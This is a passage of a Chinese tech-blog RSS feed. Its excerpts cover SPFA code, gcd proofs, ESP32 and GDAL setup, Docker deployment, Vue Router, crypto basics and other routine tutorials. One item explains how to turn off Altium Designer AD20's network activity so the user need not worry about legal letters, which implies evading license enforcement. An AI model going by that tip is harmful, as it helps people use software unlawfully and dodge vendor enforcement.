      <pubDate>Sat, 10 Sep 2022 00:15:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b64bc76364a11f3736d516904ba911a8/</guid>
      <description>spfa 今天终于写出来了spfa...&#xA;运用队列的思想，先把起点入队，用对首更新它能够到达的点，更新这些点到起点的伪最短路（因为可能还有更短情况）然后把得到更新的点中不在队列里的加入队列，以便更新其他点。&#xA;当前更新的是伪最短路即可能会有更优情况（比如：起点是1，1到6距离为7，加入队列dis[6]=7，而1到7距离为2，7到6距离为3，会将dis[6]更新为2+3=5。所以一遍一遍一遍一遍查，最后将会是最短路。&#xA;用于单源最短路，时间复杂度O（ke），稀疏图中k约等于2，稠密图。。。emmm还是不要用了吧&#xA;#include&amp;lt;iostream&amp;gt;&#xA;#include&amp;lt;cstdio&amp;gt;&#xA;#include&amp;lt;cstring&amp;gt;&#xA;#include&amp;lt;algorithm&amp;gt;&#xA;using namespace std;&#xA;struct noid&#xA;{&#xA;int to;&#xA;int dis;&#xA;int next;&#xA;}edg[510000];&#xA;int head[20001],inq[20001],dis[20001],q[5000010];&#xA;int n,m,s,num;&#xA;void read(int &amp;amp;x)&#xA;{&#xA;int f=1;char s;x=0;&#xA;s=getchar();&#xA;while(s&amp;lt;&#39;0&#39;||s&amp;gt;&#39;9&#39;){if(s==&#39;-&#39;)f=-1;s=getchar();}&#xA;while(s&amp;gt;=&#39;0&#39;&amp;amp;&amp;amp;s&amp;lt;=&#39;9&#39;){x=10*x+s-&#39;0&#39;;s=getchar();}&#xA;x=x*f;&#xA;}//读入优化&#xA;void add(int x,int y,int dis)&#xA;{edg[++num].dis=dis;&#xA;edg[num].to=y;&#xA;edg[num].next=head[x];&#xA;head[x]=num;&#xA;}//前向星建图&#xA;void spfa()&#xA;{&#xA;int blb,cur;&#xA;int he=0;&#xA;int tail=1;&#xA;q[tail]=s;dis[s]=0;&#xA;while(he&amp;lt;tail)&#xA;{&#xA;he++;&#xA;cur=q[he];&#xA;blb=head[cur];inq[cur]=0;//inq记录点是否在队列里，如果已经在，不用再进入，只更新该点的dis值；he++，对首出对后把 队首的inq记为0；用来下一次入队；&#xA;while(blb!=0)//当前点的边没有全部循环到时&#xA;{&#xA;if(dis[edg[blb].to]&amp;gt;dis[cur]+edg[blb].dis)//可以更新为更短距离&#xA;{&#xA;dis[edg[blb].to]=dis[cur]+edg[blb].dis;//更新</description>
    </item>
    <item>
      <title>gcd与exgcd(裴蜀定理)</title>
      <link>https://bchobby.github.io/posts/14fbd66354cc39824590ccd01c87c463/</link>
      <pubDate>Sat, 10 Sep 2022 00:07:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14fbd66354cc39824590ccd01c87c463/</guid>
      <description>gcd（欧几里得算法）与最大公因数 公式： g c d ( a , b ) = g c d ( b , a gcd(a,b)=gcd(b,a gcd(a,b)=gcd(b,a%b ) ) )&#xA;证明：&#xA;设 a &amp;gt; b a&amp;gt;b a&amp;gt;b，证明 a , b a,b a,b的公因数和 b , a − b b,a-b b,a−b的公因数是同样的一堆数&#xA;首先，有结论:若 x ∣ a , x ∣ b , 那么 x ∣ ( a − b ) x|a,x|b,那么x|(a-b) x∣a,x∣b,那么x∣(a−b).&#xA;设 a a a和 b b b的公因子集合为 S 1 S1 S1， b b b 和 ( a – b ) (a – b) (a–b)的公因子集合为 S 2 S2 S2。那么，</description>
    </item>
    <item>
      <title>ESP32-VScode环境搭建</title>
      <link>https://bchobby.github.io/posts/5a78b38d6bc14722318b3b6b20564646/</link>
      <pubDate>Fri, 09 Sep 2022 19:52:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a78b38d6bc14722318b3b6b20564646/</guid>
      <description> 写在前面：&#xA;之前看到很多小伙伴ESP32的开发环境有问题,有的头文件不能定位，有的是头文件报错等等...,接下来带大家搭建ESP32环境，我们只需要一个VScode即可!（为了演示我又重新安装一遍，我太难了😳） 1.下载VScode vscode:Visual Studio Code - Code Editing. Redefined&#xA;2.安装Vscode 安装位置自己选,最好英文路径哟😉&#xA;具体步骤: 3.安装ESP-IDF 1. 先选个主题: 2.在插件中搜索ESP-IDF 3.安装好后点击ESP-IDF插件图标,选择高级(ADVANCED) 4.创建文件夹保存下载的ESP-IDF 5.选择服务器Expressif,版本和下载的位置,然后点击install 6.IDF安装好后,继续安装tools 4.创建例程: 1.找到命令面板:查看-&amp;gt;命令面板,输入:ESP-IDF:Example 2.我们选择一个hello_world工程,然后再点击: Create project using example hello_world 3.然后选择保存工程的地方,保存到与idf同级目录下就行 5.工具说明: 6.下面以hello_world工程为例,演示编译和下载过程: 1.在编译之前要选择端口号和芯片类型: 2.接下来编译: 3.接下来下载: 4.接下来打开串口监视 7.还可以用命令进行编译运行: 编译命令： idf.py build&#xA;下载命令： idf.py -p COMXXX flash&#xA;打开串口监视：idf.py -p COMXXX monitor&#xA;清除工程：idf.py fullclean&#xA;注意事项!!! 那如何调出ESP-IDF XXX窗口? 只需要点击下面的工具栏,如图: 哪有问题大家请留言!!! 大功告成!!! 溜了溜了😜 不要忘了点赞哟!😘😘😘 </description>
    </item>
    <item>
      <title>MUI-上拉刷新和下拉刷新</title>
      <link>https://bchobby.github.io/posts/24544b3ef9359584944a31f36b271e35/</link>
      <pubDate>Fri, 09 Sep 2022 14:21:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24544b3ef9359584944a31f36b271e35/</guid>
      <description>上（下）拉刷新代码一&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; mui.init({ pullRefresh : { // 定义容器 container:&#39;#refreshContainer&#39;, // 往下拉（callback：回调函数） down : { // style:&#39;circle&#39;,//必选，下拉刷新样式，目前支持原生5+ ‘circle’ 样式 // color:&#39;#2BD009&#39;, //可选，默认“#2BD009” 下拉刷新控件颜色 // height:&#39;150px&#39;,//可选,默认50px.下拉刷新控件的高度, // range:&#39;100px&#39;, //可选 默认100px,控件可下拉拖拽的范围 // offset:&#39;0px&#39;, //可选 默认0px,下拉刷新控件的起始位置 // auto: true,//可选,默认false.首次加载自动上拉刷新一次 callback :pulldownRefresh }, // 往上拉（callback：回调函数） up : { callback :pullupRefresh } } }); // 定义下拉回调函数 function pulldownRefresh(){ alert(&#34;进行下拉数据刷新&#34;); // 下拉刷新结束 mui(&#39;#refreshContainer&#39;).pullRefresh().endPulldownToRefresh(); } // 定义上拉回调函数 function pullupRefresh(){ alert(&#34;进行上拉数据加载&#34;); // 下拉刷新结束 mui(&#39;#refreshContainer&#39;).pullRefresh().endPullupToRefresh(); } &amp;lt;/script&amp;gt; 上（下）拉刷新代码二（刷新的同时新增一段内容）</description>
    </item>
    <item>
      <title>HTML5&#43;规范API-拍照功能</title>
      <link>https://bchobby.github.io/posts/433b720ae675533ab6b882600eef5f50/</link>
      <pubDate>Fri, 09 Sep 2022 14:20:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/433b720ae675533ab6b882600eef5f50/</guid>
      <description>完整代码&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no&#34; /&amp;gt; &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt; &amp;lt;script src=&#34;js/mui.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;link href=&#34;css/mui.min.css&#34; rel=&#34;stylesheet&#34;/&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; charset=&#34;utf-8&#34;&amp;gt; mui.init(); &amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;button type=&#34;button&#34; class=&#34;mui-btn mui-btn-blue&#34; id=&#34;btn&#34;&amp;gt;按钮&amp;lt;/button&amp;gt; &amp;lt;img src=&#34;&#34; alt=&#34;&#34; id=&#34;img1&#34; style=&#34;width: 100px;height: 100px;&#34;&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; // 点击按钮之后进行拍照 var btn = document.getElementById(&#34;btn&#34;); // 点击事件 btn.onclick = function(){ // 得到摄像头对象 var cm = plus.camera.getCamera(); cm.captureImage(function(filepath){ // alert(filepath); // 修改绝对路径，方便使用 var myimg = plus.io.convertLocalFileSystemURL(filepath); var img1 = document.getElementById(&#34;img1&#34;); img1.src = myimg; },function(error){ error.</description>
    </item>
    <item>
      <title>将asp.net core部署到docker中,以容器的方式运行</title>
      <link>https://bchobby.github.io/posts/423f1ef0d073ac99461e462a7ca7048c/</link>
      <pubDate>Fri, 09 Sep 2022 13:51:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/423f1ef0d073ac99461e462a7ca7048c/</guid>
      <description>netcore3.1 dockerfile 生成镜像 并 部署到 linux 系统&#xA;注意:先将web api需要对外暴露的端口添加到防火墙&#xA;如果开启了防火墙的话,添加到防火墙:&#xA;然后在云服务的防火墙规则处,开放此端口&#xA;firewalld 防火墙开放端口 查看firewalld状态：systemctl status firewalld 开启firewalld：systemctl start firewalld 如果启动报错：Failed to start firewalld.service: Unit is masked. 是因为被锁定了，取消firewalld的锁定：systemctl unmask firewalld，再启动即可。 开放某个端口：firewall-cmd --zone=public --add-port=3306/tcp --permanent 重新载入：firewall-cmd --reload 然后再基于镜像,创建容器。&#xA;相关的命令:&#xA;基于项目镜像:&#xA;docker build -f Dockerfile -t webapp:1.0 . 基于镜像,创建容器:&#xA;docker run -d -p 5008:5008 --name webapitest c344dc437251 重启docker引擎 ,可以解决此问题.&#xA;systemctl restart docker 在尝试重新创建该项目容器或者重启容器&#xA;解决方案:&#xA;docker端口映射或启动容器时报错 driver failed programming external connectivity on endpoint quirky_allen</description>
    </item>
    <item>
      <title>LTSPICE仿真那些事</title>
      <link>https://bchobby.github.io/posts/81fdaaec38752b45f1a69159380732c9/</link>
      <pubDate>Fri, 09 Sep 2022 12:01:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81fdaaec38752b45f1a69159380732c9/</guid>
      <description>++++++++++++++++++++++++++&#xA;操作上，所有的操作方式，都可以在toolbox中找到，如果不是纠结于使用快捷键，则完全可以一个个使用toolbox的按钮来完成。&#xA;有一些需要注意的操作习惯。这些和Multisim不太一样，不太习惯。&#xA;（1）鼠标左键，用来拖动真个图纸的位置。&#xA;（2）鼠标右键，启动弹出框，这是核心用键。&#xA;（3）鼠标中键，无作用。&#xA;（4）鼠标滚轮，zoom。&#xA;++++++++++++++++++++++++++++++++&#xA;添加元件。&#xA;gnd可以直接在toolbox中选取。&#xA;label net可以直接在toolbox中选取。&#xA;R，C，L，D，可以直接在toolbox中选取。&#xA;除此之外，其他元件，一律叫做component。&#xA;例如常用的电压源，位于component-&amp;gt;voltage。设置参数，可以定义交流电压，直流电压，PWM电压等。&#xA;常用的电流源，位于component-&amp;gt;current。&#xA;其他例如，&#xA;component-&amp;gt;led,&#xA;component-&amp;gt;schottky,&#xA;等等。&#xA;++++++++++++++++++++++++++&#xA;参数输入上，需要注意的地方。&#xA;输入毫时，直接输入字母m即可。&#xA;输入兆时，不能直接输入字母M，否则会被识别为毫。应输入三个字母MEG或者四个字母Mega。&#xA;这一点不太好用。TINA中，输入M，会被自动转换成三个字母MEG，这一点比较贴心。&#xA;+++++++++++++++++++++++++++&#xA;RUN。&#xA;在运行时，会生成一个命令行，这个命令行，在图纸上，如同一个注释文本框。&#xA;例如，&#xA;.trans xx xx xx xx 表示进行瞬态分析，时间3us。&#xA;如前所述，右键点击这个Text，可以修改仿真参数。&#xA;或者，&#xA;simulation-&amp;gt;edit simulation cmd，&#xA;老老实实用菜单来操作。&#xA;++++++++++++++++++++++++++++&#xA;网表设置。&#xA;view-&amp;gt;spice netlist命令，&#xA;打开对应的xxx.net文本文件。这个文件中，显示了每个元件的元件标号，参数值，以及每个pin对应的网标。&#xA;如果要修改某个网络的默认名称，&#xA;edit-&amp;gt;label net，&#xA;放置一个网标上去，这是最好的方式。&#xA;+++++++++++++++++++++++++++++&#xA;查看仿真波形。&#xA;view-&amp;gt;visible trace命令。&#xA;波形文件保存为xxx.raw文件。&#xA;在raw文件的窗口，可以执行波形相关的操作。&#xA;（1）右键-&amp;gt;add plot，添加一个坐标系。&#xA;（2）右键-&amp;gt;add trace，添加一个波形曲线。&#xA;（3）右键-&amp;gt;delete this pane，删除当前的坐标系。&#xA;（4）指针移动到曲线名称上，然后，右键。在弹出框中，可以修改曲线名称，颜色，算术表达式等。&#xA;最常用的是取反，例如电流曲线，可以添加一个负号-，将曲线反相。&#xA;（5）指针移动到曲线名称上，然后，左键。可以切换当前的光标测量模式。&#xA;初始状态，在mesure mode0。没有cursor。&#xA;关闭mesure框之后，测量模式自动回到mesure mode 0.</description>
    </item>
    <item>
      <title>沐神《动手学深度学习》报错 解决方案RuntimeError: DataLoader worker (pid(s) ...) exited unexpectedly</title>
      <link>https://bchobby.github.io/posts/e5f487def54f717a3f405f91190755ff/</link>
      <pubDate>Fri, 09 Sep 2022 11:07:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5f487def54f717a3f405f91190755ff/</guid>
      <description>3.6 softmax回归的从零开始实现&#xA;运行&#xA;print(evaluate_accuracy(net, test_iter)) 报了一溜错误，其中最后一行为&#xA;RuntimeError: DataLoader worker (pid(s) 5052, 13652, 11108, 14208) exited unexpectedly&#xA;网上有很多教程说修改num_works=0但没说具体步骤，摸索了一下分享给大家。&#xA;我使用的是pycharm 使用右上角的搜索功能，输入&#xA;get_dataloader_workers() 进入d2l.torch （如果不是pycharm则需要进入到d2l包的文件夹中寻找torch.py这个函数） 将 def get_dataloader_workers():&#xA;下的return 4 改为 return 0 即可解决&#xA;最后运行程序不再报错。</description>
    </item>
    <item>
      <title>CAN光端机解决海上风电项目中西门子消防主机FC18实现超远距离组网问题</title>
      <link>https://bchobby.github.io/posts/f2e853fbfbc9330ba8d968aabf68f01a/</link>
      <pubDate>Fri, 09 Sep 2022 09:43:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2e853fbfbc9330ba8d968aabf68f01a/</guid>
      <description>项目背景：&#xA;1、使用西门子的消防主机FC18；&#xA;2、三个海上风电平台各安装一台FC18；&#xA;3、陆上风电平台安装一台FC18；&#xA;4、每个海上风电平台与陆上风电平台的距离超过40公里；&#xA;5、每个海上风电平台与陆上风电平台之间预留了单芯光纤；&#xA;6、陆上消防主机与每台海上消防主机独立联动。&#xA;组网方案：&#xA;1、每个海上消防主机的CAN接口接上一台LCFNET-600E CAN光端机；&#xA;2、海上消防主机配套三台CAN光端机，三台CAN光端机的CAN并到一起，接到陆上消防主机的CAN接口；&#xA;3、6只CAN光端机两两配对，每对之间通过光纤连接。光纤最大长度支持60公里，最长可定制120公里。</description>
    </item>
    <item>
      <title>在linux系统命令行模式下如何输入中文</title>
      <link>https://bchobby.github.io/posts/3546d79d0fc8bdd2563dc6b41833d16b/</link>
      <pubDate>Fri, 09 Sep 2022 08:17:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3546d79d0fc8bdd2563dc6b41833d16b/</guid>
      <description>这是在Cent OS7的映像环境下，且已有图形界面&#xA;1、在命令行输入ibus-setup （注意：ibus-setup中间没有空格）&#xA;2、输入后会弹出弹窗，如图所示&#xA;3、如图所示：①点击常规 ②点击下一输入法后的选择入口，会弹出如图片所示的弹窗 ③用于我比较习惯shift键，所以手写输入shift，勾上Shift修饰符【注意：按键要手 打，后面三个点并不是我们熟悉的选择按键；要按键和修饰符同时选择才有效】 ④点击应用，就可以看见上面的快捷键换成&amp;lt;Shift&amp;gt;shif ⑤点击确定，点击关闭，退出设置&#xA;4、可以在主页面右上角找到语言标识符，点击更换；或者直接按刚刚自己设置的快捷键（如我设置的shift)即可更换</description>
    </item>
    <item>
      <title>数据密码学</title>
      <link>https://bchobby.github.io/posts/58ba7e7adaf1ce60529acb8148f4a2dc/</link>
      <pubDate>Thu, 08 Sep 2022 20:10:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58ba7e7adaf1ce60529acb8148f4a2dc/</guid>
      <description>1. 加密 数据加密的基本过程，就是对原来为明文的文件或数据按某种算法进行处理，使其成为不可读的一段代码，通常称为&#34;密文&#34;。通过这样的途径，来达到保护数据不被非法人窃取、阅读的目的。&#xA;2. 解密 加密的逆过程为解密，即将该编码信息转化为其原来数据的过程。&#xA;3. 对称加密和非对称加密 加密算法分对称加密和非对称加密，其中对称加密算法的加密和解密秘钥相同，非对称加密算法的加密秘钥和解密秘钥不同，此外，还有一类不需要秘钥的散列算法。&#xA;常见的对称加密算法主要有DES、3DES、AES等，常见的非对称算法主要有RSA、DSA等，散列算法主要有SHA-1、MD5等。&#xA;对称加密&#xA;对称加密算法是应用较早的加密算法，又称为共享密钥加密算法。在对称加密算法中，使用的密钥只有一个，发送和接收双方都使用这个密钥对数据进行加密和解密，这就要求加密和解密方事先都必须知道加密的密钥。 数据加密过程：在对称加密算法中，数据发送方将明文和加密密钥一起经过特殊加密处理，生成复杂的加密密文进行发送。数据解密过程：数据接收方收到密文后，若想读取原数据，则需要使用加密使用的密钥及相同算法的逆算法对加密的密文进行解密，才能使其恢复成可读明文。 非对称加密&#xA;非对称加密算法，又称为公开密钥加密算法。它需要两个密钥，一个称为公开密钥，即公钥。另一个称为私有密钥，即私钥。 因为加密和解密使用的是两个不同的密钥，所以这种算法称为非对称加密算法。&#xA;如果使用公钥对数据进行加密，只有用对应的私钥才能进行解密。如果使用私钥对数据进行加密，只有用对应的公钥才能进行解密。 使用例子：&#xA;甲方生成一对密钥并将其中的一把公钥向其他人公开，得到该公钥的乙方使用该密钥对机密信息进行加密后再发送给甲方，甲方再使用自己保存的另一把私钥，对加密后的信息进行解密。&#xA;4. 加密算法的安全级别 安全级别算法薄弱DES、MD5传统Rc4、SHA-1基准3DES标准AES-128、SHA-256较高AES-192、SHA-384超高AES-256、SHA-512 哈希算法：MD4、MD5、SHA&#xA;对称加密：DES、IDEA、RC2、RC4、RC5、AES&#xA;非对称加密：RSA、ECC&#xA;已经证实较容易破解的算法(不安全算法)：MD4、MD5、SHA-0、SHA-1、DES&#xA;理论上大部分的算法基本上都是可以破解的，只是需要很多台计算机并行运行运算很长时间才能破解。&#xA;哈希算法是不可逆算法但是存在碰撞可能，速度较快；对称加密使用一个密钥进行加解密；非对称算法使用公钥和私钥进行加解密，速度比对称加密要更慢，但较安全。</description>
    </item>
    <item>
      <title>Ubuntu 安装 GDAL C&#43;&#43;库</title>
      <link>https://bchobby.github.io/posts/3e4f136cd8d5a4308d2c09f2a7154999/</link>
      <pubDate>Thu, 08 Sep 2022 19:31:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e4f136cd8d5a4308d2c09f2a7154999/</guid>
      <description>1. GDAL简介 GDAL 是读写大量的栅格空间数据格式的广泛应用的开源库。该库起源于 1998年,已经大幅进化。 它支持他自己的数据模型和应用程序接口(API)。 从最初的单一发展的起源,GDAL已发展成为一个分布式的项目,开发人员的数量相对比较大。&#xA;GDAL官网下载以及安装教程。&#xA;2. 提示 要构建 GDAL 3 或更高版本，至少需要一个 C++11 兼容编译器，以及 PROJ 6 或更高版本。如果是在C++11编译器上构建老版本GDAL会提示namespace std错误。新版本需要安装PROJ依赖库，PROJ又依赖sqlite3和libtiff4，依次安装即可。具体情况可能不同，不过可以从GDAL开始安装，根据提示逐渐安装相应的包即可。&#xA;3. 如何在 Ubuntu 中安装具体指定的软件包版本 3.1通过apt安装 在 Ubuntu 中想安装一个软件包的一个特别指定的版本？你可以通过下面的方式来轻松地完成：&#xA;sudo apt install package_name=package_version 如何知道某个软件包有哪些可用的版本？可以使用这个命令：&#xA;apt list --all-versions package_name 3.1通过源码编译安装 下载安装包，Linux版本的压缩包后缀为.tar.gz，Windows版本压缩包后缀zip。&#xA;安装步骤依次执行下面代码。&#xA;cd &#39;/home/Downloads/gdal-3.5.1&#39; #源码包解压后的位置 ./configure --prefix=&#39;/home/Softwares&#39; #指定安装路径 make&#x9;#生成makefile文件 make install&#x9;#编译安装 4. 安装 安装GDAL，根据提示在补充安装所需包。缺什么安装什么就行。&#xA;4.1 安装GDAL 4.1.1 下载GDAL 参考gdal-3.1.2 linux(Ubuntu) 编译 附SQLite3 PROJ6编译 、Linux系统编译安装GDAL库，官网下载最新的gdal-3.5.1.tar.gz版本的&#xA;http://download.osgeo.org/gdal/CURRENT/&#xA;4.1.2 安装GDAL 依次执行命令&#xA;cd &#39;/home/Downloads/gdal-3.</description>
    </item>
    <item>
      <title>md-editor-v3 markdown编辑器</title>
      <link>https://bchobby.github.io/posts/be660871bc18fae6a02aa7115896127b/</link>
      <pubDate>Thu, 08 Sep 2022 17:36:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be660871bc18fae6a02aa7115896127b/</guid>
      <description>md-editor-v3 md-editor-v3官网&#xA;npm i md-editor-v3 --save npm i showdown --save 由于该编辑器输入为markdown格式，要转换成html则需要插件转换，因此使用showdown&#xA;md-editor-v3也提供了onHtmlChanged来转换，不过出于贪图逻辑上的便利没有使用&#xA;vue3案例 toolbarsExclude为toolbar禁用，去掉不需要的按键&#xA;&amp;lt;template&amp;gt; &amp;lt;MdEditor toolbarsExclude=&#34;[&#39;link&#39;, &#39;mermaid&#39;, &#39;katex&#39;, &#39;github&#39;, &#39;save&#39;]&#34; v-model=&#34;content&#34; @onUploadImg=&#34;onUploadImg&#34; &amp;gt; &amp;lt;/MdEditor&amp;gt; &amp;lt;el-button @click=&#34;saveData&#34; type=&#34;primary&#34;&amp;gt;保存&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import { ref, defineComponent, reactive } from &#34;vue&#34;; import showdown from &#34;showdown&#34;; import MdEditor from &#34;md-editor-v3&#34;; import &#34;md-editor-v3/lib/style.css&#34;; export default defineComponent({ components: { MdEditor }, setup() { const state = reactive({ content: &#39;&#39; }); const onUploadImg = async ( files, callback ) =&amp;gt; { const res = await Promise.</description>
    </item>
    <item>
      <title>【手动安装Python包】</title>
      <link>https://bchobby.github.io/posts/964b44fae1de3d665960ed8ed52b7f72/</link>
      <pubDate>Thu, 08 Sep 2022 16:53:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/964b44fae1de3d665960ed8ed52b7f72/</guid>
      <description> 问题： 使用 pip install 安装包不成功时，可以手动安装&#xA;步骤 下载所需包的相应版本；&#xA;链接：https://www.lfd.uci.edu/~gohlke/pythonlibs/将下载好的包(whl文件)，存储到Python的包目录中（Lib-&amp;gt;site-packages）；win+R，输入cmd，进入命令行，命令行输入：cd whl文件所在目录，进入包文件所在目录；命令行输入：pip install whl的文件名 </description>
    </item>
    <item>
      <title>Vue路由-Router搭建以及简单使用</title>
      <link>https://bchobby.github.io/posts/d5dcfad5d2d4d276b38af65f336e40a8/</link>
      <pubDate>Thu, 08 Sep 2022 16:49:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5dcfad5d2d4d276b38af65f336e40a8/</guid>
      <description>一、VueRouter介绍&#xA;1.所谓的路由就是根据用户不同的访问地址，应用程序给与不同的响应，VueRouter就是官方的路由管理器。&#xA;二、配置路由（如果在创建项目的时候没有选择vue-router 就需要手动配置vue-router）&#xA;1.在项目文件夹终端输入npm install vue-router 进行加载router，选择版本的话npm install vue-router@3安装版本为3最新的包&#xA;2.在src文件夹下新建router文件夹，在该文件夹下边新建index.js文件&#xA;3.配置index.js文件，首先导入vue以及vuerouter，然后倒入已经定义好的路由实例，&#xA;输入Vue.use(VueRouter)使用router，接着定义路由（定义每个路由实例的name（可有可无），path,component）,最后将router接口暴露出去（export defaut router）；这个页面就配置好了&#xA;import Vue from &#39;vue&#39;; import VueRouter from &#39;vue-router&#39;; import Mylist from &#39;../views/Mylist.vue&#39;; Vue.use(VueRouter) const routes = [ { path:&#39;/list&#39;, component:Mylist } ] const router = new VueRouter({ routes }) export default router 4.在main.js文件配置路由，在这个页面如果我们创建的时候没有点击路由需要import router from&#39;./router&#39;导入路由，然后再new Vue中添加router就配置好了&#xA;import Vue from &#39;vue&#39; import App from &#39;./App.vue&#39; import router from &#39;./router&#39; import store from &#39;./store&#39; Vue.config.productionTip = false new Vue({ router, store, render: h =&amp;gt; h(App) }).</description>
    </item>
    <item>
      <title>AD20如何离线工作，不让软件联网？</title>
      <link>https://bchobby.github.io/posts/db2d02f543df292fda29b595d106bb92/</link>
      <pubDate>Thu, 08 Sep 2022 15:56:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db2d02f543df292fda29b595d106bb92/</guid>
      <description>1、打开AD20软件，点击右上角的设置。 2、打开设置后&#xA;1.点击System(系统)；&#xA;2.点击Network activity;&#xA;3.将该选项里的所有勾都去掉；&#xA;3、点击右下角的应用，最后点击保存。&#xA;这个时候AD20在使用的过程中就不会进行联网，也就不用担心邮箱里的法务函了。</description>
    </item>
    <item>
      <title>UnityWebRequest.Post问题</title>
      <link>https://bchobby.github.io/posts/ea9f04baa5eb42415916d2943cad62b3/</link>
      <pubDate>Thu, 08 Sep 2022 11:56:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea9f04baa5eb42415916d2943cad62b3/</guid>
      <description>使用Post上传数据时，碰到乱码问题，总结一下：&#xA;Post上传数据：&#xA;using (UnityWebRequest request = UnityWebRequest.Post(url, data)) { request.SetRequestHeader(&#34;Content-Type&#34;, &#34;application/json;charset=utf-8&#34;); yield return request.SendWebRequest(); if (request.result == UnityWebRequest.Result.Success) { Debug.Log(&#34;上传成功！&#34;); uploadSuccess?.Invoke(); } } 上面的代码：Post方法会对data数据进行URL编码。&#xA;服务端如果没有进行URL解码话，打印出的结果里有%（特殊字符和中文无法正常显示）&#xA;UnityWebRequest.Post源码&#xA;解决方案：不进行URL编码，或服务端进行URL解码&#xA;1.使用PUT，方法设置为POST&#xA;因为Put方法没有进行URL编码 using (UnityWebRequest request = UnityWebRequest.Put(url, data)) { //方法改为POST request.method = UnityWebRequest.kHttpVerbPOST; request.SetRequestHeader(&#34;Content-Type&#34;, &#34;application/json;charset=utf-8&#34;); yield return request.SendWebRequest(); if (request.result == UnityWebRequest.Result.Success) { Debug.Log(&#34;上传成功！&#34;); uploadSuccess?.Invoke(); } } 2.使用更低级的API：自己控制数据&#xA;IEnumerator UpLoadTexture3(string data) { byte[] databyte = Encoding.UTF8.GetBytes(data); var _request = new UnityWebRequest(url, UnityWebRequest.kHttpVerbPOST); _request.</description>
    </item>
    <item>
      <title>Jmeter&#43;Ant&#43;Jenkins实现持续集成</title>
      <link>https://bchobby.github.io/posts/1b167262eec4e020310cb2a50625cbe5/</link>
      <pubDate>Thu, 08 Sep 2022 11:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b167262eec4e020310cb2a50625cbe5/</guid>
      <description>Jmeter+Ant+Jenkins实现持续集成 1.配置JAVA环境变量：(JMETER执行依赖JAVA环境变量)&#xA;（1）添加JAVA环境变量 变量值等于JDK的安装路径&#xA;（2）将CLASS_PATH变量&#xA;变量值等于%JMETER_HOME%\lib\ext\ApacheJMeter_core.jar; %JMETER_HOME%\lib\jorphan.jar&#xA;（3）将JAVA_HOME变量数值添加到path变量中 %JAVA_HOME%\bin&#xA;（4）验证JAVA环境变量配置结果&#xA;windows系统 输入cmd命令行模式 输入java -version 显示如下界面说明安装成功。&#xA;2.配置Jmeter环境变量：（通过命令行输入jmeter即可启动jmeter工具）&#xA;(1)Jmeter工具下载地址：&#xA;http://jmeter.apache.org/download_jmeter.cgi#binaries&#xA;(2)配置JMETER_HONE&#xA;JMETER_HONE D:\apache-jmeter-4.0&#xA;（3）配置CLASSPATH&#xA;%JMETER_HOME%\lib\jorphan.jar;%JMETER_HOME%\lib\logkit-1.2.jar;&#xA;(4)配置PATH&#xA;%JMETER_HOME%\bin&#xA;(5)验证配置结果：&#xA;在windows系统上 输入cmd启动命令行格式 输入jmeter -v 出现如下结果说明安装成功（可以在输入行中输入jmeter来启动jmeter）&#xA;3.配置ANT&#xA;(1).配置ANT环境变量*&#xA;添加ANT_HOME环境变量 变量值等于ANT安装目录&#xA;ANT_HOME D:\ANT\apache-ant-1.9.12&#xA;将ANT_HOME变量添加到PATH中&#xA;%ANT_HOME%\bin&#xA;在windows系统上 输入cmd进行命令行模式，输入ant -version 显示ANT版本信息则安全成功&#xA;3.Ant+Jmeter组合环境搭建&#xA;（1）将D:\JMETER\apache-jmeter-4.0\extras下面的ant-jmeter-1.1.1的jar包复制到ANT安装目录中的lib目录&#xA;（2）将D:\JMETER\apache-jmeter-4.0\bin\jmeter.properties中(去除#号）#jmeter.save.saveservice.output_format=csv修改为jmeter.save.saveservice.output_format=xml;&#xA;（3）按照下方操作修改bulid.xml文件内容&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project name=&#34;ant-jmeter-test&#34; default=&#34;run&#34; basedir=&#34;.&#34;&amp;gt; &amp;lt;tstamp&amp;gt; &amp;lt;format property=&#34;time&#34; pattern=&#34;yyyyMMddhhmm&#34; /&amp;gt; &amp;lt;/tstamp&amp;gt; &amp;lt;!--本地的jmeter安装路径--&amp;gt; &amp;lt;property name=&#34;jmeter.home&#34; value=&#34;D:\JMETER\apache-jmeter-4.0&#34;/&amp;gt; &amp;lt;property name=&#34;report.title&#34; value=&#34;apitest&#34;/&amp;gt; &amp;lt;!--生成jtl报告的路径--&amp;gt; &amp;lt;property name=&#34;</description>
    </item>
    <item>
      <title>Docker报错：OCI runtime exec failed: exec failed: container_linux.go:380: starting container process详解</title>
      <link>https://bchobby.github.io/posts/829472db8b993b6bb62659524e1b13b0/</link>
